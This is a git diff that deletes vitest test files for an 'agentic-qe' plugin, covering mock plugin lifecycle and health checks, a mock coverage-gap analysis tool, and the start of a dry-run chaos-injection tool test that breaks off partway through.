-
- this.state = 'shutdown';
- this.context?.logger.info(`${this.metadata.name} shut down`);
- }
-
- async healthCheck(): Promise<{
- healthy: boolean;
- status: string;
- checks: Record<string, { healthy: boolean; message?: string }>;
- }> {
- const checks: Record<string, { healthy: boolean; message?: string }> = {
- state: {
- healthy: this.state === 'initialized',
- message: `Plugin state: ${this.state}`,
- },
- bridges: {
- healthy: this.bridges.size > 0,
- message: `${this.bridges.size} bridges active`,
- },
- tools: {
- healthy: this.tools.length > 0,
- message: `${this.tools.length} tools registered`,
- },
- };
-
- const healthy = Object.values(checks).every((c) => c.healthy);
-
- return {
- healthy,
- status: healthy ? 'healthy' : 'unhealthy',
- checks,
- };
- }
-
- registerMCPTools(): MCPToolDefinition[] {
- return this.tools;
- }
-
- getConfig(): Record<string, unknown> {
- return this.context?.config.settings ?? {};
- }
-
- getBridge(name: string): unknown {
- return this.bridges.get(name);
- }
-
- private async initializeBridges(): Promise<void> {
- // Mock bridge initialization
- this.bridges.set('memory', { type: 'QEMemoryBridge', connected: true });
- this.bridges.set('security', { type: 'QESecurityBridge', connected: true });
- this.bridges.set('core', { type: 'QECoreBridge', connected: true });
- this.bridges.set('hive', { type: 'QEHiveBridge', connected: true });
- }
-
- private createTools(): MCPToolDefinition[] {
- return [
- {
- name: 'aqe/generate-tests',
- description: 'Generate tests for code using AI-powered test generation',
- inputSchema: {
- type: 'object',
- properties: {
- targetPath: { type: 'string' },
- testType: { type: 'string', enum: ['unit', 'integration', 'e2e'] },
- framework: { type: 'string', enum: ['vitest', 'jest', 'mocha'] },
- },
- required: ['targetPath'],
- },
- handler: async (input) => ({
- content: [{ type: 'text', text: JSON.stringify({ status: 'generated', input }) }],
- }),
- },
- {
- name: 'aqe/analyze-coverage',
- description: 'Analyze code coverage with O(log n) gap detection',
- inputSchema: {
- type: 'object',
- properties: {
- coverageReport: { type: 'string' },
- targetPath: { type: 'string' },
- algorithm: { type: 'string', enum: ['johnson-lindenstrauss', 'naive'] },
- },
- required: ['coverageReport'],
- },
- handler: async (input) => ({
- content: [{ type: 'text', text: JSON.stringify({ status: 'analyzed', input }) }],
- }),
- },
- {
- name: 'aqe/security-scan',
- description: 'Run SAST/DAST security scans',
- inputSchema: {
- type: 'object',
- properties: {
- targetPath: { type: 'string' },
- scanType: { type: 'string', enum: ['sast', 'dast', 'both'] },
- compliance: { type: 'array', items: { type: 'string' } },
- },
- required: ['targetPath'],
- },
- handler: async (input) => ({
- content: [{ type: 'text', text: JSON.stringify({ status: 'scanned', input }) }],
- }),
- },
- {
- name: 'aqe/chaos-inject',
- description: 'Inject chaos failures for resilience testing',
- inputSchema: {
- type: 'object',
- properties: {
- target: { type: 'string' },
- failureType: { type: 'string' },
- duration: { type: 'number' },
- intensity: { type: 'number', minimum: 0, maximum: 1 },
- dryRun: { type: 'boolean', default: true },
- },
- required: ['target', 'failureType'],
- },
- handler: async (input) => ({
- content: [{ type: 'text', text: JSON.stringify({ status: 'injected', input }) }],
- }),
- },
- ];
- }
-
- private isVersionCompatible(coreVersion: string): boolean {
- // Simple version check - in real impl would use semver
- const minVersion = this.metadata.minCoreVersion?.replace(/-.*$/, '') ?? '0.0.0';
- const current = coreVersion.replace(/-.*$/, '');
- return current >= minVersion;
- }
-}
-
-// ============================================================================
-// Test Helpers
-// ============================================================================
-
-function createMockContext(overrides: Partial<PluginContext> = {}): PluginContext {
- return {
- config: {
- enabled: true,
- priority: 50,
- settings: {
- defaultFramework: 'vitest',
- coverageTarget: 80,
- tddStyle: 'london',
- },
- },
- eventBus: {
- emit: vi.fn(),
- on: vi.fn(() => vi.fn()),
- off: vi.fn(),
- },
- logger: {
- debug: vi.fn(),
- info: vi.fn(),
- warn: vi.fn(),
- error: vi.fn(),
- },
- services: new Map(),
- coreVersion: '3.0.0',
- dataDir: '/tmp/agentic-qe',
- ...overrides,
- };
-}
-
-// ============================================================================
-// Tests
-// ============================================================================
-
-describe('AQEPlugin', () => {
- let plugin: MockAQEPlugin;
- let context: PluginContext;
-
- beforeEach(() => {
- plugin = new MockAQEPlugin();
- context = createMockContext();
- });
-
- afterEach(async () => {
- if (plugin.state === 'initialized') {
- await plugin.shutdown();
- }
- });
-
- describe('metadata', () => {
- it('should have correct plugin name', () => {
- expect(plugin.metadata.name).toBe('agentic-qe');
- });
-
- it('should have correct version', () => {
- expect(plugin.metadata.version).toBe('3.2.3');
- });
-
- it('should have required dependencies', () => {
- expect(plugin.metadata.dependencies).toContain('@claude-flow/plugins');
- expect(plugin.metadata.dependencies).toContain('@claude-flow/memory');
- expect(plugin.metadata.dependencies).toContain('@claude-flow/security');
- });
-
- it('should have expected tags', () => {
- expect(plugin.metadata.tags).toContain('testing');
- expect(plugin.metadata.tags).toContain('quality');
- expect(plugin.metadata.tags).toContain('tdd');
- });
-
- it('should freeze metadata', () => {
- expect(Object.isFrozen(plugin.metadata)).toBe(true);
- });
-
- it('should specify minimum core version', () => {
- expect(plugin.metadata.minCoreVersion).toBe('3.0.0-alpha.50');
- });
- });
-
- describe('initialization', () => {
- it('should start in uninitialized state', () => {
- expect(plugin.state).toBe('uninitialized');
- });
-
- it('should initialize successfully with valid context', async () => {
- await plugin.initialize(context);
-
- expect(plugin.state).toBe('initialized');
- });
-
- it('should log initialization success', async () => {
- await plugin.initialize(context);
-
- expect(context.logger.info).toHaveBeenCalledWith(
- expect.stringContaining('initialized successfully')
- );
- });
-
- it('should reject double initialization', async () => {
- await plugin.initialize(context);
-
- await expect(plugin.initialize(context)).rejects.toThrow('already initialized');
- });
-
- it('should reject incompatible core version', async () => {
- const oldVersionContext = createMockContext({ coreVersion: '2.0.0' });
-
- await expect(plugin.initialize(oldVersionContext)).rejects.toThrow('not compatible');
- expect(plugin.state).toBe('error');
- });
-
- it('should accept compatible core versions', async () => {
- const contexts = [
- createMockContext({ coreVersion: '3.0.0' }),
- createMockContext({ coreVersion: '3.1.0' }),
- createMockContext({ coreVersion: '4.0.0' }),
- ];
-
- for (const ctx of contexts) {
- const p = new MockAQEPlugin();
- await p.initialize(ctx);
- expect(p.state).toBe('initialized');
- await p.shutdown();
- }
- });
-
- it('should initialize all bridges', async () => {
- await plugin.initialize(context);
-
- expect(plugin.getBridge('memory')).toBeDefined();
- expect(plugin.getBridge('security')).toBeDefined();
- expect(plugin.getBridge('core')).toBeDefined();
- expect(plugin.getBridge('hive')).toBeDefined();
- });
- });
-
- describe('shutdown', () => {
- it('should shutdown gracefully', async () => {
- await plugin.initialize(context);
- await plugin.shutdown();
-
- expect(plugin.state).toBe('shutdown');
- });
-
- it('should clear bridges on shutdown', async () => {
- await plugin.initialize(context);
- await plugin.shutdown();
-
- expect(plugin.getBridge('memory')).toBeUndefined();
- });
-
- it('should be safe to call shutdown multiple times', async () => {
- await plugin.initialize(context);
- await plugin.shutdown();
- await plugin.shutdown(); // Should not throw
-
- expect(plugin.state).toBe('shutdown');
- });
-
- it('should be safe to shutdown uninitialized plugin', async () => {
- await plugin.shutdown(); // Should not throw
-
- expect(plugin.state).toBe('uninitialized');
- });
- });
-
- describe('health check', () => {
- it('should report healthy when initialized', async () => {
- await plugin.initialize(context);
-
- const health = await plugin.healthCheck();
-
- expect(health.healthy).toBe(true);
- expect(health.status).toBe('healthy');
- });
-
- it('should report unhealthy when not initialized', async () => {
- const health = await plugin.healthCheck();
-
- expect(health.healthy).toBe(false);
- expect(health.status).toBe('unhealthy');
- });
-
- it('should include state check', async () => {
- await plugin.initialize(context);
-
- const health = await plugin.healthCheck();
-
- expect(health.checks.state.healthy).toBe(true);
- });
-
- it('should include bridges check', async () => {
- await plugin.initialize(context);
-
- const health = await plugin.healthCheck();
-
- expect(health.checks.bridges.healthy).toBe(true);
- expect(health.checks.bridges.message).toContain('bridges active');
- });
-
- it('should include tools check', async () => {
- await plugin.initialize(context);
-
- const health = await plugin.healthCheck();
-
- expect(health.checks.tools.healthy).toBe(true);
- expect(health.checks.tools.message).toContain('tools registered');
- });
- });
-
- describe('MCP tools', () => {
- it('should register MCP tools after initialization', async () => {
- await plugin.initialize(context);
-
- const tools = plugin.registerMCPTools();
-
- expect(tools.length).toBeGreaterThan(0);
- });
-
- it('should include generate-tests tool', async () => {
- await plugin.initialize(context);
-
- const tools = plugin.registerMCPTools();
- const generateTool = tools.find((t) => t.name === 'aqe/generate-tests');
-
- expect(generateTool).toBeDefined();
- expect(generateTool?.description).toContain('Generate tests');
- });
-
- it('should include analyze-coverage tool', async () => {
- await plugin.initialize(context);
-
- const tools = plugin.registerMCPTools();
- const coverageTool = tools.find((t) => t.name === 'aqe/analyze-coverage');
-
- expect(coverageTool).toBeDefined();
- expect(coverageTool?.description).toContain('coverage');
- });
-
- it('should include security-scan tool', async () => {
- await plugin.initialize(context);
-
- const tools = plugin.registerMCPTools();
- const securityTool = tools.find((t) => t.name === 'aqe/security-scan');
-
- expect(securityTool).toBeDefined();
- expect(securityTool?.description).toContain('security');
- });
-
- it('should include chaos-inject tool', async () => {
- await plugin.initialize(context);
-
- const tools = plugin.registerMCPTools();
- const chaosTool = tools.find((t) => t.name === 'aqe/chaos-inject');
-
- expect(chaosTool).toBeDefined();
- expect(chaosTool?.description).toContain('chaos');
- });
-
- it('should have valid input schemas', async () => {
- await plugin.initialize(context);
-
- const tools = plugin.registerMCPTools();
-
- for (const tool of tools) {
- expect(tool.inputSchema).toBeDefined();
- expect(tool.inputSchema.type).toBe('object');
- expect(tool.inputSchema.properties).toBeDefined();
- }
- });
-
- it('should have working handlers', async () => {
- await plugin.initialize(context);
-
- const tools = plugin.registerMCPTools();
- const tool = tools[0];
-
- const result = await tool.handler({ targetPath: '/test' });
-
- expect(result.content).toBeDefined();
- expect(result.content[0].type).toBe('text');
- });
- });
-
- describe('configuration', () => {
- it('should access plugin settings', async () => {
- await plugin.initialize(context);
-
- const config = plugin.getConfig();
-
- expect(config.defaultFramework).toBe('vitest');
- expect(config.coverageTarget).toBe(80);
- expect(config.tddStyle).toBe('london');
- });
-
- it('should return empty config when not initialized', () => {
- const config = plugin.getConfig();
-
- expect(config).toEqual({});
- });
- });
-});
-
-describe('AQEPlugin Error Handling', () => {
- it('should handle bridge initialization failure gracefully', async () => {
- // This tests error state handling
- const plugin = new MockAQEPlugin();
- const badContext = createMockContext({ coreVersion: '1.0.0' });
-
- await expect(plugin.initialize(badContext)).rejects.toThrow();
- expect(plugin.state).toBe('error');
- });
-
- it('should allow re-creation after error', async () => {
- const plugin1 = new MockAQEPlugin();
- const badContext = createMockContext({ coreVersion: '1.0.0' });
-
- await expect(plugin1.initialize(badContext)).rejects.toThrow();
-
- // Create new instance and try again
- const plugin2 = new MockAQEPlugin();
- const goodContext = createMockContext();
-
- await plugin2.initialize(goodContext);
- expect(plugin2.state).toBe('initialized');
- });
-});
diff --git a/v3/plugins/agentic-qe/__tests__/tools/analyze-coverage.test.ts b/v3/plugins/agentic-qe/__tests__/tools/analyze-coverage.test.ts
deleted file mode 100644
index 01309b5dcf..0000000000
--- a/v3/plugins/agentic-qe/__tests__/tools/analyze-coverage.test.ts
+++ /dev/null
@@ -1,629 +0,0 @@
-/**
- * Coverage Analysis Tool Tests
- *
- * Tests for the aqe/analyze-coverage MCP tool that provides
- * O(log n) gap detection using Johnson-Lindenstrauss algorithm.
- */
-
-import { describe, it, expect, beforeEach, vi } from 'vitest';
-
-// ============================================================================
-// Mock Types
-// ============================================================================
-
-interface AnalyzeCoverageInput {
- coverageReport: string;
- targetPath?: string;
- algorithm?: 'johnson-lindenstrauss' | 'naive';
- options?: {
- minCoverage?: number;
- maxGaps?: number;
- includeUncovered?: boolean;
- groupByFile?: boolean;
- };
-}
-
-interface CoverageGap {
- file: string;
- startLine: number;
- endLine: number;
- type: 'statement' | 'branch' | 'function';
- priority: 'low' | 'medium' | 'high' | 'critical';
- complexity: number;
- suggestion?: string;
-}
-
-interface CoverageMetrics {
- statements: { covered: number; total: number; percentage: number };
- branches: { covered: number; total: number; percentage: number };
- functions: { covered: number; total: number; percentage: number };
- lines: { covered: number; total: number; percentage: number };
-}
-
-interface AnalyzeCoverageOutput {
- success: boolean;
- gaps: CoverageGap[];
- metrics: CoverageMetrics;
- summary: {
- totalGaps: number;
- criticalGaps: number;
- estimatedEffort: string;
- recommendation: string;
- };
- performance: {
- algorithm: string;
- timeMs: number;
- complexity: string;
- };
- errors?: string[];
-}
-
-// ============================================================================
-// Mock Implementation
-// ============================================================================
-
-class MockAnalyzeCoverageTool {
- private defaultMinCoverage = 80;
- private defaultMaxGaps = 50;
-
- async execute(input: AnalyzeCoverageInput): Promise<AnalyzeCoverageOutput> {
- const startTime = performance.now();
-
- // Validate input
- const errors = this.validateInput(input);
- if (errors.length > 0) {
- return this.createErrorResponse(errors);
- }
-
- // Parse coverage report (mock)
- const metrics = this.parseCoverageReport(input.coverageReport);
-
- // Detect gaps using specified algorithm
- const algorithm = input.algorithm ?? 'johnson-lindenstrauss';
- const gaps = this.detectGaps(metrics, algorithm, input.options);
-
- // Calculate priority and suggestions
- const prioritizedGaps = this.prioritizeGaps(gaps);
-
- const endTime = performance.now();
-
- return {
- success: true,
- gaps: prioritizedGaps.slice(0, input.options?.maxGaps ?? this.defaultMaxGaps),
- metrics,
- summary: this.generateSummary(prioritizedGaps, metrics),
- performance: {
- algorithm,
- timeMs: Math.round(endTime - startTime),
- complexity: algorithm === 'johnson-lindenstrauss' ? 'O(log n)' : 'O(n)',
- },
- };
- }
-
- private validateInput(input: AnalyzeCoverageInput): string[] {
- const errors: string[] = [];
-
- if (!input.coverageReport) {
- errors.push('coverageReport is required');
- }
-
- if (input.coverageReport && !this.isValidCoverageFormat(input.coverageReport)) {
- errors.push('Invalid coverage report format');
- }
-
- if (input.options?.minCoverage !== undefined) {
- if (input.options.minCoverage < 0 || input.options.minCoverage > 100) {
- errors.push('minCoverage must be between 0 and 100');
- }
- }
-
- if (input.options?.maxGaps !== undefined && input.options.maxGaps < 1) {
- errors.push('maxGaps must be at least 1');
- }
-
- return errors;
- }
-
- private isValidCoverageFormat(report: string): boolean {
- // Mock validation - in real impl would check for lcov, cobertura, etc.
- return report.includes('coverage') || report.endsWith('.info') || report.endsWith('.json');
- }
-
- private parseCoverageReport(report: string): CoverageMetrics {
- // Mock coverage parsing - returns realistic mock data
- return {
- statements: { covered: 450, total: 600, percentage: 75 },
- branches: { covered: 120, total: 200, percentage: 60 },
- functions: { covered: 85, total: 100, percentage: 85 },
- lines: { covered: 430, total: 580, percentage: 74.1 },
- };
- }
-
- private detectGaps(
- metrics: CoverageMetrics,
- algorithm: string,
- options?: AnalyzeCoverageInput['options']
- ): CoverageGap[] {
- const gaps: CoverageGap[] = [];
-
- // Mock gap detection
- // Statement gaps
- const uncoveredStatements = metrics.statements.total - metrics.statements.covered;
- for (let i = 0; i < Math.min(uncoveredStatements / 10, 20); i++) {
- gaps.push({
- file: `src/module${i % 5}.ts`,
- startLine: 10 + i * 15,
- endLine: 12 + i * 15,
- type: 'statement',
- priority: 'medium',
- complexity: Math.floor(Math.random() * 10) + 1,
- });
- }
-
- // Branch gaps (higher priority)
- const uncoveredBranches = metrics.branches.total - metrics.branches.covered;
- for (let i = 0; i < Math.min(uncoveredBranches / 10, 15); i++) {
- gaps.push({
- file: `src/conditionals${i % 3}.ts`,
- startLine: 20 + i * 10,
- endLine: 25 + i * 10,
- type: 'branch',
- priority: 'high',
- complexity: Math.floor(Math.random() * 15) + 5,
- });
- }
-
- // Function gaps
- const uncoveredFunctions = metrics.functions.total - metrics.functions.covered;
- for (let i = 0; i < uncoveredFunctions; i++) {
- gaps.push({
- file: `src/functions${i % 4}.ts`,
- startLine: 50 + i * 20,
- endLine: 65 + i * 20,
- type: 'function',
- priority: 'low',
- complexity: Math.floor(Math.random() * 20) + 10,
- });
- }
-
- return gaps;
- }
-
- private prioritizeGaps(gaps: CoverageGap[]): CoverageGap[] {
- // Sort by priority and add suggestions
- const priorityOrder = { critical: 0, high: 1, medium: 2, low: 3 };
-
- return gaps
- .map((gap) => ({
- ...gap,
- // Upgrade priority for high complexity gaps
- priority:
- gap.complexity > 15 && gap.priority !== 'critical'
- ? ('high' as const)
- : gap.priority,
- suggestion: this.generateSuggestion(gap),
- }))
- .sort((a, b) => {
- const priorityDiff = priorityOrder[a.priority] - priorityOrder[b.priority];
- if (priorityDiff !== 0) return priorityDiff;
- return b.complexity - a.complexity;
- });
- }
-
- private generateSuggestion(gap: CoverageGap): string {
- switch (gap.type) {
- case 'branch':
- return 'Add test cases for both true and false conditions';
- case 'function':
- return 'Add unit tests for this function with various inputs';
- case 'statement':
- return 'Ensure this code path is executed in tests';
- default:
- return 'Add test coverage for this area';
- }
- }
-
- private generateSummary(
- gaps: CoverageGap[],
- metrics: CoverageMetrics
- ): AnalyzeCoverageOutput['summary'] {
- const criticalGaps = gaps.filter((g) => g.priority === 'critical').length;
- const highGaps = gaps.filter((g) => g.priority === 'high').length;
-
- const totalComplexity = gaps.reduce((sum, g) => sum + g.complexity, 0);
- const estimatedHours = Math.ceil(totalComplexity / 10);
-
- let recommendation = 'Coverage is acceptable';
- if (metrics.lines.percentage < 50) {
- recommendation = 'Critical: Significant test coverage needed';
- } else if (metrics.lines.percentage < 70) {
- recommendation = 'Warning: Focus on high-priority gaps first';
- } else if (metrics.lines.percentage < 80) {
- recommendation = 'Good progress, continue adding tests for branch coverage';
- }
-
- return {
- totalGaps: gaps.length,
- criticalGaps: criticalGaps + highGaps,
- estimatedEffort: `${estimatedHours} hours`,
- recommendation,
- };
- }
-
- private createErrorResponse(errors: string[]): AnalyzeCoverageOutput {
- return {
- success: false,
- gaps: [],
- metrics: {
- statements: { covered: 0, total: 0, percentage: 0 },
- branches: { covered: 0, total: 0, percentage: 0 },
- functions: { covered: 0, total: 0, percentage: 0 },
- lines: { covered: 0, total: 0, percentage: 0 },
- },
- summary: {
- totalGaps: 0,
- criticalGaps: 0,
- estimatedEffort: '0 hours',
- recommendation: 'Fix validation errors first',
- },
- performance: {
- algorithm: 'none',
- timeMs: 0,
- complexity: 'N/A',
- },
- errors,
- };
- }
-}
-
-// ============================================================================
-// Tests
-// ============================================================================
-
-describe('AnalyzeCoverageTool', () => {
- let tool: MockAnalyzeCoverageTool;
-
- beforeEach(() => {
- tool = new MockAnalyzeCoverageTool();
- });
-
- describe('input validation', () => {
- it('should require coverageReport', async () => {
- const result = await tool.execute({ coverageReport: '' });
-
- expect(result.success).toBe(false);
- expect(result.errors).toContain('coverageReport is required');
- });
-
- it('should validate coverage report format', async () => {
- const result = await tool.execute({ coverageReport: 'invalid-format' });
-
- expect(result.success).toBe(false);
- expect(result.errors).toContain('Invalid coverage report format');
- });
-
- it('should accept lcov format', async () => {
- const result = await tool.execute({ coverageReport: './coverage/lcov.info' });
-
- expect(result.success).toBe(true);
- });
-
- it('should accept json format', async () => {
- const result = await tool.execute({ coverageReport: './coverage/coverage.json' });
-
- expect(result.success).toBe(true);
- });
-
- it('should validate minCoverage range', async () => {
- const negativeResult = await tool.execute({
- coverageReport: './coverage.info',
- options: { minCoverage: -10 },
- });
-
- const overResult = await tool.execute({
- coverageReport: './coverage.info',
- options: { minCoverage: 110 },
- });
-
- expect(negativeResult.success).toBe(false);
- expect(overResult.success).toBe(false);
- });
-
- it('should validate maxGaps minimum', async () => {
- const result = await tool.execute({
- coverageReport: './coverage.info',
- options: { maxGaps: 0 },
- });
-
- expect(result.success).toBe(false);
- expect(result.errors.some(e => e.includes('maxGaps'))).toBe(true);
- });
- });
-
- describe('gap detection', () => {
- it('should detect coverage gaps', async () => {
- const result = await tool.execute({ coverageReport: './coverage.info' });
-
- expect(result.success).toBe(true);
- expect(result.gaps.length).toBeGreaterThan(0);
- });
-
- it('should include gap file path', async () => {
- const result = await tool.execute({ coverageReport: './coverage.info' });
-
- for (const gap of result.gaps) {
- expect(gap.file).toBeTruthy();
- expect(gap.file).toMatch(/\.ts$/);
- }
- });
-
- it('should include gap line numbers', async () => {
- const result = await tool.execute({ coverageReport: './coverage.info' });
-
- for (const gap of result.gaps) {
- expect(gap.startLine).toBeGreaterThan(0);
- expect(gap.endLine).toBeGreaterThanOrEqual(gap.startLine);
- }
- });
-
- it('should categorize gaps by type', async () => {
- const result = await tool.execute({ coverageReport: './coverage.info' });
-
- const types = new Set(result.gaps.map((g) => g.type));
- expect(types.has('statement')).toBe(true);
- expect(types.has('branch')).toBe(true);
- expect(types.has('function')).toBe(true);
- });
-
- it('should assign priority to gaps', async () => {
- const result = await tool.execute({ coverageReport: './coverage.info' });
-
- for (const gap of result.gaps) {
- expect(['low', 'medium', 'high', 'critical']).toContain(gap.priority);
- }
- });
-
- it('should include complexity score', async () => {
- const result = await tool.execute({ coverageReport: './coverage.info' });
-
- for (const gap of result.gaps) {
- expect(gap.complexity).toBeGreaterThan(0);
- }
- });
-
- it('should include suggestions', async () => {
- const result = await tool.execute({ coverageReport: './coverage.info' });
-
- for (const gap of result.gaps) {
- expect(gap.suggestion).toBeTruthy();
- }
- });
-
- it('should respect maxGaps limit', async () => {
- const result = await tool.execute({
- coverageReport: './coverage.info',
- options: { maxGaps: 5 },
- });
-
- expect(result.gaps.length).toBeLessThanOrEqual(5);
- });
- });
-
- describe('algorithm selection', () => {
- it('should use johnson-lindenstrauss by default', async () => {
- const result = await tool.execute({ coverageReport: './coverage.info' });
-
- expect(result.performance.algorithm).toBe('johnson-lindenstrauss');
- expect(result.performance.complexity).toBe('O(log n)');
- });
-
- it('should support naive algorithm', async () => {
- const result = await tool.execute({
- coverageReport: './coverage.info',
- algorithm: 'naive',
- });
-
- expect(result.performance.algorithm).toBe('naive');
- expect(result.performance.complexity).toBe('O(n)');
- });
-
- it('should report execution time', async () => {
- const result = await tool.execute({ coverageReport: './coverage.info' });
-
- expect(result.performance.timeMs).toBeGreaterThanOrEqual(0);
- });
- });
-
- describe('metrics reporting', () => {
- it('should include statement coverage', async () => {
- const result = await tool.execute({ coverageReport: './coverage.info' });
-
- expect(result.metrics.statements.covered).toBeGreaterThan(0);
- expect(result.metrics.statements.total).toBeGreaterThan(0);
- expect(result.metrics.statements.percentage).toBeGreaterThan(0);
- });
-
- it('should include branch coverage', async () => {
- const result = await tool.execute({ coverageReport: './coverage.info' });
-
- expect(result.metrics.branches.covered).toBeDefined();
- expect(result.metrics.branches.total).toBeDefined();
- expect(result.metrics.branches.percentage).toBeDefined();
- });
-
- it('should include function coverage', async () => {
- const result = await tool.execute({ coverageReport: './coverage.info' });
-
- expect(result.metrics.functions.covered).toBeGreaterThan(0);
- expect(result.metrics.functions.total).toBeGreaterThan(0);
- });
-
- it('should include line coverage', async () => {
- const result = await tool.execute({ coverageReport: './coverage.info' });
-
- expect(result.metrics.lines.covered).toBeGreaterThan(0);
- expect(result.metrics.lines.total).toBeGreaterThan(0);
- expect(result.metrics.lines.percentage).toBeGreaterThan(0);
- });
- });
-
- describe('summary generation', () => {
- it('should include total gap count', async () => {
- const result = await tool.execute({ coverageReport: './coverage.info' });
-
- expect(result.summary.totalGaps).toBe(result.gaps.length);
- });
-
- it('should count critical gaps', async () => {
- const result = await tool.execute({ coverageReport: './coverage.info' });
-
- const criticalAndHigh = result.gaps.filter(
- (g) => g.priority === 'critical' || g.priority === 'high'
- ).length;
- expect(result.summary.criticalGaps).toBe(criticalAndHigh);
- });
-
- it('should estimate effort', async () => {
- const result = await tool.execute({ coverageReport: './coverage.info' });
-
- expect(result.summary.estimatedEffort).toMatch(/\d+ hours/);
- });
-
- it('should provide recommendation', async () => {
- const result = await tool.execute({ coverageReport: './coverage.info' });
-
- expect(result.summary.recommendation).toBeTruthy();
- });
- });
-
- describe('gap prioritization', () => {
- it('should sort gaps by priority', async () => {
- const result = await tool.execute({ coverageReport: './coverage.info' });
-
- const priorityOrder = { critical: 0, high: 1, medium: 2, low: 3 };
- let lastPriority = -1;
-
- for (const gap of result.gaps) {
- const currentPriority = priorityOrder[gap.priority];
- expect(currentPriority).toBeGreaterThanOrEqual(lastPriority);
- if (currentPriority > lastPriority) {
- lastPriority = currentPriority;
- }
- }
- });
-
- it('should upgrade priority for high complexity gaps', async () => {
- const result = await tool.execute({ coverageReport: './coverage.info' });
-
- // High complexity gaps should not be 'low' priority
- const highComplexityLowPriority = result.gaps.filter(
- (g) => g.complexity > 15 && g.priority === 'low'
- );
- expect(highComplexityLowPriority.length).toBe(0);
- });
-
- it('should provide type-specific suggestions', async () => {
- const result = await tool.execute({ coverageReport: './coverage.info' });
-
- const branchGap = result.gaps.find((g) => g.type === 'branch');
- const functionGap = result.gaps.find((g) => g.type === 'function');
-
- if (branchGap) {
- expect(branchGap.suggestion).toContain('condition');
- }
- if (functionGap) {
- expect(functionGap.suggestion).toContain('unit test');
- }
- });
- });
-});
-
-describe('AnalyzeCoverageTool Performance', () => {
- let tool: MockAnalyzeCoverageTool;
-
- beforeEach(() => {
- tool = new MockAnalyzeCoverageTool();
- });
-
- it('should complete analysis in reasonable time', async () => {
- const startTime = performance.now();
-
- const result = await tool.execute({ coverageReport: './coverage.info' });
-
- const duration = performance.now() - startTime;
-
- expect(result.success).toBe(true);
- // Should complete in under 100ms for mock data
- expect(duration).toBeLessThan(100);
- });
-
- it('should report O(log n) complexity for J-L algorithm', async () => {
- const result = await tool.execute({
- coverageReport: './coverage.info',
- algorithm: 'johnson-lindenstrauss',
- });
-
- expect(result.performance.complexity).toBe('O(log n)');
- });
-
- it('should report O(n) complexity for naive algorithm', async () => {
- const result = await tool.execute({
- coverageReport: './coverage.info',
- algorithm: 'naive',
- });
-
- expect(result.performance.complexity).toBe('O(n)');
- });
-});
-
-describe('AnalyzeCoverageTool Edge Cases', () => {
- let tool: MockAnalyzeCoverageTool;
-
- beforeEach(() => {
- tool = new MockAnalyzeCoverageTool();
- });
-
- it('should handle path with targetPath filter', async () => {
- const result = await tool.execute({
- coverageReport: './coverage.info',
- targetPath: './src/auth',
- });
-
- expect(result.success).toBe(true);
- });
-
- it('should handle includeUncovered option', async () => {
- const result = await tool.execute({
- coverageReport: './coverage.info',
- options: { includeUncovered: true },
- });
-
- expect(result.success).toBe(true);
- });
-
- it('should handle groupByFile option', async () => {
- const result = await tool.execute({
- coverageReport: './coverage.info',
- options: { groupByFile: true },
- });
-
- expect(result.success).toBe(true);
- });
-
- it('should handle all options combined', async () => {
- const result = await tool.execute({
- coverageReport: './coverage.info',
- targetPath: './src',
- algorithm: 'johnson-lindenstrauss',
- options: {
- minCoverage: 80,
- maxGaps: 25,
- includeUncovered: true,
- groupByFile: true,
- },
- });
-
- expect(result.success).toBe(true);
- expect(result.gaps.length).toBeLessThanOrEqual(25);
- });
-});
diff --git a/v3/plugins/agentic-qe/__tests__/tools/chaos-inject.test.ts b/v3/plugins/agentic-qe/__tests__/tools/chaos-inject.test.ts
deleted file mode 100644
index 64ae92423d..0000000000
--- a/v3/plugins/agentic-qe/__tests__/tools/chaos-inject.test.ts
+++ /dev/null
@@ -1,882 +0,0 @@
-/**
- * Chaos Injection Tool Tests
- *
- * Tests for the aqe/chaos-inject MCP tool that provides
- * chaos engineering capabilities for resilience testing.
- * All tests use dryRun mode to prevent actual system disruption.
- */
-
-import { describe, it, expect, beforeEach, vi } from 'vitest';
-
-// ============================================================================
-// Mock Types
-// ============================================================================
-
-interface ChaosInjectInput {
- target: string;
- failureType: ChaosFailureType;
- duration?: number;
- intensity?: number;
- dryRun?: boolean;
- options?: {
- rollbackOnError?: boolean;
- monitorMetrics?: boolean;
- notifyOnStart?: boolean;
- maxRetries?: number;
- };
-}
-
-type ChaosFailureType =
- | 'network-latency'
- | 'network-partition'
- | 'network-packet-loss'
- | 'cpu-stress'
- | 'memory-pressure'
- | 'disk-fill'
- | 'process-kill'
- | 'dns-failure'
- | 'http-error'
- | 'timeout';
-
-interface ChaosExperiment {
- id: string;
- target: string;
- failureType: ChaosFailureType;
- duration: number;
- intensity: number;
- startTime: Date;
- endTime?: Date;
- status: 'pending' | 'running' | 'completed' | 'failed' | 'rolled-back';
- dryRun: boolean;
- metrics?: ChaosMetrics;
-}
-
-interface ChaosMetrics {
- preExperiment: {
- responseTime: number;
- errorRate: number;
- throughput: number;
- };
- duringExperiment: {
- responseTime: number;
- errorRate: number;
- throughput: number;
- };
- postExperiment?: {
- responseTime: number;
- errorRate: number;
- throughput: number;
- recoveryTime: number;
- };
-}
-
-interface ChaosInjectOutput {
- success: boolean;
- experiment: ChaosExperiment;
- impact: {
- affectedServices: string[];
- estimatedDowntime: string;
- riskLevel: 'low' | 'medium' | 'high' | 'critical';
- };
- simulation?: {
- description: string;
- expectedBehavior: string;
- recoverySteps: string[];
- };
- errors?: string[];
-}
-
-// ============================================================================
-// Mock Implementation
-// ============================================================================
-
-class MockChaosInjectTool {
- private activeExperiments: Map<string, ChaosExperiment> = new Map();
-
- async execute(input: ChaosInjectInput): Promise<ChaosInjectOutput> {
- // Validate input
- const errors = this.validateInput(input);
- if (errors.length > 0) {
- return this.createErrorResponse(errors);
- }
-
- // Create experiment
- const experiment = this.createExperiment(input);
-
- // In dry run mode, only simulate
- if (input.dryRun !== false) {
- return this.simulateExperiment(experiment);
- }
-
- // Execute real experiment (would be dangerous in production)
- return this.executeExperiment(experiment);
- }
-
- async stopExperiment(experimentId: string): Promise<boolean> {
- const experiment = this.activeExperiments.get(experimentId);
- if (!experiment) return false;
-
- experiment.status = 'rolled-back';
- experiment.endTime = new Date();
- this.activeExperiments.delete(experimentId);
- return true;
- }
-
- getActiveExperiments(): ChaosExperiment[] {
- return Array.from(this.activeExperiments.values());
- }
-
- private validateInput(input: ChaosInjectInput): string[] {
- const errors: string[] = [];
-
- if (!input.target) {
- errors.push('target is required');
- }
-
- if (!input.failureType) {
- errors.push('failureType is required');
- }
-
- const validFailureTypes: ChaosFailureType[] = [
- 'network-latency',
